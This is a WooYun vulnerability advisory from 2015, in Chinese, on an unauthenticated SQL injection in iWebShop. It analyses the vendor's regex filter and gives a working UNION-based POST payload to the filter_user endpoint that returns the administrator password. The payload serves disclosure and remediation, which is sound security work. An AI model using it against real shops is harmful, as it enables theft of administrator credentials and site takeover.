当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127392

漏洞标题:iwebshop 直接回显管理员密码(无需登录)

相关厂商:www.jooyea.cn

漏洞作者: menmen519

提交时间:2015-07-20 11:17

修复时间:2015-10-21 07:02

公开时间:2015-10-21 07:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-23: 厂商已经确认,细节仅向厂商公开
2015-07-26: 细节向第三方安全合作伙伴开放
2015-09-16: 细节向核心白帽子及相关领域专家公开
2015-09-26: 细节向普通白帽子公开
2015-10-06: 细节向实习白帽子公开
2015-10-21: 细节向公众公开

简要描述:

iwebshop 直接回显管理员密码

详细说明:

下载最新版本的代码七月十五号的
漏洞参考 WooYun: Iwebshop 最新版SQL注入漏洞
发现对方做了补救措施,添加了过滤机制
代码变更为:

public static function act($str,$type = 'string',$limitLen = false)
{
if(is_array($str))
{
$resultStr = array();
foreach($str as $key => $val)
{
$key = self::act($key, $type, $limitLen);
$val = self::act($val, $type, $limitLen);
$resultStr[$key] = $val;
}
return $resultStr;
}
else
{
switch($type)
{
case "int":
return intval($str);
break;
case "float":
return floatval($str);
break;
case "text":
return self::text($str,$limitLen);
break;
case "bool":
return (bool)$str;
break;
case "url":
return self::clearUrl($str);
break;
case "filename":
return self::fileName($str);
break;
case "strict":
return self::strict($str);


比上一个版本多了一个return self::strict($str)
用来过滤sql注入,跟进去看看代码

public static function strict($string)
{
if(preg_match("|^[\w\.\s\-<>=\!\x{4e00}-\x{9fa5}]+$|u",$string) == true)
{
return $string;
}
return '';
}


过滤了括号,注释可以用--
怎么直接回显呢,一般来说iwebshop 数据库里面肯定是有用户的,为了测试期间我们随便注册一个用户,然后退出,
url:
http://localhost/iwebshop/index.php?controller=block&action=filter_user
postdata:
search[1 union select password from admin order by 1 limit 1 -- ]=x
这里都不需要知道表前缀,因为这个系统会对表自动添加前缀 直接用admin就好

1.png


漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-23 07:01

厂商回复:

表前缀还是需要的

最新状态:

暂无